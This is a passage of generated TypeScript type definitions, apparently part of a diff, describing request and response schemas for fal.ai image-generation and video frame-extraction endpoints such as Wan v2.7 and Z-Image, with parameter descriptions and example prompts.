undefined + */ + width?: number +} + +export const loRAWeightTransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAWeightTransformerEnumKey = + (typeof loRAWeightTransformerEnum)[keyof typeof loRAWeightTransformerEnum] + +export type LoRAWeight = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Specifies the transformer to load the lora weight into. 'high' loads into the high-noise transformer, 'low' loads it into the low-noise transformer, while 'both' loads the LoRA into both transformers. + * @default 'high' + * @type string | undefined + */ + transformer?: LoRAWeightTransformerEnumKey + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null +} + +export const inputFalAiWanV22A14BTextToImageLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BTextToImageLoraAccelerationEnumKey = + (typeof inputFalAiWanV22A14BTextToImageLoraAccelerationEnum)[keyof typeof inputFalAiWanV22A14BTextToImageLoraAccelerationEnum] + +export const inputFalAiWanV22A14BTextToImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV22A14BTextToImageLoraImageSizeKey = + (typeof inputFalAiWanV22A14BTextToImageLoraImageSize)[keyof typeof inputFalAiWanV22A14BTextToImageLoraImageSize] + +export const inputFalAiWanV22A14BTextToImageLoraImageFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiWanV22A14BTextToImageLoraImageFormatEnumKey = + (typeof inputFalAiWanV22A14BTextToImageLoraImageFormatEnum)[keyof typeof inputFalAiWanV22A14BTextToImageLoraImageFormatEnum] + +export type InputFalAiWanV22A14BTextToImageLora = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the video will be reversed. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BTextToImageLoraAccelerationEnumKey + /** + * @description Shift value for the image. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 2 + * @example 2 + * @type number | undefined + */ + shift?: number + /** + * @description The size of the generated image. + * @default square_hd + * @example square_hd + */ + image_size?: + | ImageSizeB3435297 + | InputFalAiWanV22A14BTextToImageLoraImageSizeKey + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide image generation. + * @example In this breathtaking wildlife documentary, we are drawn into an intimate close-up of a majestic lion's face, framed against the backdrop of a vast African savannah at dawn. The camera captures the raw power and nobility of the creature as it gazes intently into the distance, its golden-brown fur glistening under the soft, diffused light that bathes the scene in an ethereal glow. Harsh shadows dance across its features, accentuating the deep wrinkles around its eyes and the rugged texture of its fur, each strand a testament to its age and wisdom. The static camera angle invites viewers to immerse themselves in this moment of profound stillness, where the lion's intense focus hints at an unseen presence or a distant threat. As the sun ascends, the landscape transforms into a symphony of warm hues, enhancing the serene yet tense atmosphere that envelops this extraordinary encounter with nature's untamed beauty. + * @type string + */ + prompt: string + /** + * @description LoRA weights to be used in the inference. + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight[] + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The format of the output image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + image_format?: InputFalAiWanV22A14BTextToImageLoraImageFormatEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File97698405 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BTextToImageLora = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated image file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan/t2i-output.png"} + * @type object + */ + image: File97698405 +} + +export type ImageSize291948Bb = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWanV27EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV27EditImageSizeKey = + (typeof inputFalAiWanV27EditImageSize)[keyof typeof inputFalAiWanV27EditImageSize] + +export const inputFalAiWanV27EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiWanV27EditOutputFormatEnumKey = + (typeof inputFalAiWanV27EditOutputFormatEnum)[keyof typeof inputFalAiWanV27EditOutputFormatEnum] + +export type InputFalAiWanV27Edit = { + /** + * @description Reference images for editing (1-4 images required). Order matters: reference them as image 1, image 2, image 3, image 4 in the prompt. + * @example ["https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg"] + * @type array + */ + image_urls: string[] + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + */ + negative_prompt?: string | null + /** + * @description Output image size. Uses fal image size presets or explicit dimensions and is converted to DashScope size format. + * @default square_hd + */ + image_size?: ImageSize291948Bb | InputFalAiWanV27EditImageSizeKey + /** + * @description Number of images to generate (1-4). + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated images. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiWanV27EditOutputFormatEnumKey + /** + * @description Enable DashScope prompt expansion. Supported only for image edit mode. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text prompt describing the desired image edit. Supports Chinese and English. + * @minLength 1 + * @maxLength 2000 + * @example Turn image 1 into a watercolor painting. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null +} + +export type FileC9D1Fbd9 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV27Edit = { + /** + * @description Generated images. + * @type array + */ + images: FileC9D1Fbd9[] + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export type ImageSize536D522B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWanV27ProEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV27ProEditImageSizeKey = + (typeof inputFalAiWanV27ProEditImageSize)[keyof typeof inputFalAiWanV27ProEditImageSize] + +export const inputFalAiWanV27ProEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiWanV27ProEditOutputFormatEnumKey = + (typeof inputFalAiWanV27ProEditOutputFormatEnum)[keyof typeof inputFalAiWanV27ProEditOutputFormatEnum] + +export type InputFalAiWanV27ProEdit = { + /** + * @description Reference images for editing (1-4 images required). Order matters: reference them as image 1, image 2, image 3, image 4 in the prompt. + * @example ["https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg"] + * @type array + */ + image_urls: string[] + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + */ + negative_prompt?: string | null + /** + * @description Output image size. Uses fal image size presets or explicit dimensions and is converted to DashScope size format. + * @default square_hd + */ + image_size?: ImageSize536D522B | InputFalAiWanV27ProEditImageSizeKey + /** + * @description Number of images to generate (1-4). + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated images. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiWanV27ProEditOutputFormatEnumKey + /** + * @description Enable DashScope prompt expansion. Supported only for image edit mode. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text prompt describing the desired image edit. Supports Chinese and English. + * @minLength 1 + * @maxLength 2000 + * @example Turn image 1 into a watercolor painting. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null +} + +export type FileAee33E15 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV27ProEdit = { + /** + * @description Generated images. + * @type array + */ + images: FileAee33E15[] + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export type ImageSize21A44A98 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWanV27ProTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiWanV27ProTextToImageOutputFormatEnumKey = + (typeof inputFalAiWanV27ProTextToImageOutputFormatEnum)[keyof typeof inputFalAiWanV27ProTextToImageOutputFormatEnum] + +export const inputFalAiWanV27ProTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV27ProTextToImageImageSizeKey = + (typeof inputFalAiWanV27ProTextToImageImageSize)[keyof typeof inputFalAiWanV27ProTextToImageImageSize] + +export type InputFalAiWanV27ProTextToImage = { + /** + * @description Number of images to generate (1-5). + * @minimum 1 + * @maximum 5 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The format of the generated images. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiWanV27ProTextToImageOutputFormatEnumKey + /** + * @description Text prompt describing the desired output. Supports Chinese and English. + * @minLength 1 + * @maxLength 2000 + * @example An astronaut riding a horse in a photorealistic style. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + */ + negative_prompt?: string | null + /** + * @description Output image size. + * @default square_hd + */ + image_size?: ImageSize21A44A98 | InputFalAiWanV27ProTextToImageImageSizeKey +} + +export type FileC5Daf8B6 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV27ProTextToImage = { + /** + * @description Generated images. + * @type array + */ + images: FileC5Daf8B6[] + /** + * @description Optional generated text returned by the model. + */ + generated_text?: string | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export type ImageSize5B9Cd4E8 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWanV27TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiWanV27TextToImageOutputFormatEnumKey = + (typeof inputFalAiWanV27TextToImageOutputFormatEnum)[keyof typeof inputFalAiWanV27TextToImageOutputFormatEnum] + +export const inputFalAiWanV27TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV27TextToImageImageSizeKey = + (typeof inputFalAiWanV27TextToImageImageSize)[keyof typeof inputFalAiWanV27TextToImageImageSize] + +export type InputFalAiWanV27TextToImage = { + /** + * @description Number of images to generate (1-5). + * @minimum 1 + * @maximum 5 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The format of the generated images. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiWanV27TextToImageOutputFormatEnumKey + /** + * @description Text prompt describing the desired output. Supports Chinese and English. + * @minLength 1 + * @maxLength 2000 + * @example An astronaut riding a horse in a photorealistic style. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + */ + negative_prompt?: string | null + /** + * @description Output image size. + * @default square_hd + */ + image_size?: ImageSize5B9Cd4E8 | InputFalAiWanV27TextToImageImageSizeKey +} + +export type FileC3Ebf48A = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV27TextToImage = { + /** + * @description Generated images. + * @type array + */ + images: FileC3Ebf48A[] + /** + * @description Optional generated text returned by the model. + */ + generated_text?: string | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWorkflowUtilitiesExtractNthFrameOutputFormatEnum = { + png: 'png', + jpg: 'jpg', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiWorkflowUtilitiesExtractNthFrameOutputFormatEnumKey = + (typeof inputFalAiWorkflowUtilitiesExtractNthFrameOutputFormatEnum)[keyof typeof inputFalAiWorkflowUtilitiesExtractNthFrameOutputFormatEnum] + +/** + * @description Input model for extracting every Nth frame from a video + * @type object + */ +export type InputFalAiWorkflowUtilitiesExtractNthFrame = { + /** + * @description Quality for jpg/webp output (1-100) + * @minimum 1 + * @maximum 100 + * @default 95 + * @type integer | undefined + */ + quality?: number + /** + * @description Extract every Nth frame (e.g., 3 = every 3rd frame, 12 = every 12th frame) + * @minimum 1 + * @maximum 300 + * @default 12 + * @type integer | undefined + */ + frame_interval?: number + /** + * @description URL of the video file to extract frames from + * @example https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4 + * @type string + */ + video_url: string + /** + * @description Output format for extracted frames + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiWorkflowUtilitiesExtractNthFrameOutputFormatEnumKey + /** + * @description Maximum number of frames to extract + * @minimum 1 + * @maximum 500 + * @default 100 + * @type integer | undefined + */ + max_frames?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageCa5Ad718 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for extracted frames + * @type object + */ +export type OutputFalAiWorkflowUtilitiesExtractNthFrame = { + /** + * @description Total number of frames extracted + * @example 25 + * @type integer + */ + frame_count: number + /** + * @description Array of extracted frame images + * @example [{"file_name":"frame_001.png","file_size":102400,"url":"https://v3b.fal.media/files/b/tiger/frame_001.png","content_type":"image/png"},{"file_name":"frame_002.png","file_size":102400,"url":"https://v3b.fal.media/files/b/tiger/frame_002.png","content_type":"image/png"}] + * @type array + */ + images: ImageCa5Ad718[] +} + +export type ImageSize603377Ba = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageBaseAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageBaseAccelerationEnumKey = + (typeof inputFalAiZImageBaseAccelerationEnum)[keyof typeof inputFalAiZImageBaseAccelerationEnum] + +export const inputFalAiZImageBaseImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiZImageBaseImageSizeKey = + (typeof inputFalAiZImageBaseImageSize)[keyof typeof inputFalAiZImageBaseImageSize] + +export const inputFalAiZImageBaseOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageBaseOutputFormatEnumKey = + (typeof inputFalAiZImageBaseOutputFormatEnum)[keyof typeof inputFalAiZImageBaseOutputFormatEnum] + +export type InputFalAiZImageBase = { + /** + * @description The negative prompt to use for the image generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageBaseAccelerationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize603377Ba | InputFalAiZImageBaseImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Grandmother knitting by a window, an empty chair by her + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageBaseOutputFormatEnumKey +} + +export type ImageFile648C92F2 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageBase = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":1024,"height":768,"content_type":"image/png","url":"https://v3b.fal.media/files/b/0a8c18a5/1z0k9F1YLgz4qCr64jCBa_r2uqRyDg.png"}] + * @type array + */ + images: ImageFile648C92F2[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput7029Bb7E = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeCebe6F8A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageBaseLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageBaseLoraAccelerationEnumKey = + (typeof inputFalAiZImageBaseLoraAccelerationEnum)[keyof typeof inputFalAiZImageBaseLoraAccelerationEnum] + +export const inputFalAiZImageBaseLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiZImageBaseLoraImageSizeKey = + (typeof inputFalAiZImageBaseLoraImageSize)[keyof typeof inputFalAiZImageBaseLoraImageSize] + +export const inputFalAiZImageBaseLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageBaseLoraOutputFormatEnumKey = + (typeof inputFalAiZImageBaseLoraOutputFormatEnum)[keyof typeof inputFalAiZImageBaseLoraOutputFormatEnum] + +export type InputFalAiZImageBaseLora = { + /** + * @description The negative prompt to use for the image generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageBaseLoraAccelerationEnumKey + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput7029Bb7E[] + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeCebe6F8A | InputFalAiZImageBaseLoraImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Grandmother knitting by a window, an empty chair by her + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageBaseLoraOutputFormatEnumKey +} + +export type ImageFileD798E32D = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageBaseLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":1024,"height":768,"content_type":"image/png","url":"https://v3b.fal.media/files/b/0a8c18a5/1z0k9F1YLgz4qCr64jCBa_r2uqRyDg.png"}] + * @type array + */ + images: ImageFileD798E32D[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize61389C4F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboAccelerationEnumKey = + (typeof inputFalAiZImageTurboAccelerationEnum)[keyof typeof inputFalAiZImageTurboAccelerationEnum] + +export const inputFalAiZImageTurboImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiZImageTurboImageSizeKey = + (typeof inputFalAiZImageTurboImageSize)[keyof typeof inputFalAiZImageTurboImageSize] + +export const inputFalAiZImageTurboOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboOutputFormatEnumKey = + (typeof inputFalAiZImageTurboOutputFormatEnum)[keyof typeof inputFalAiZImageTurboOutputFormatEnum] + +export type InputFalAiZImageTurbo = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboAccelerationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize61389C4F | InputFalAiZImageTurboImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example A hyper-realistic, close-up portrait of a tribal elder from the Omo Valley, painted with intricate white chalk patterns and adorned with a headdress made of dried flowers, seed pods, and rusted bottle caps. The focus is razor-sharp on the texture of the skin, showing every pore, wrinkle, and scar that tells a story of survival. The background is a blurred, smoky hut interior, with the warm glow of a cooking fire reflecting in the subject's dark, soulful eyes. Shot on a Leica M6 with Kodak Portra 400 film grain aesthetic. + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboOutputFormatEnumKey +} + +export type ImageFile07Ac95A7 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurbo = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example 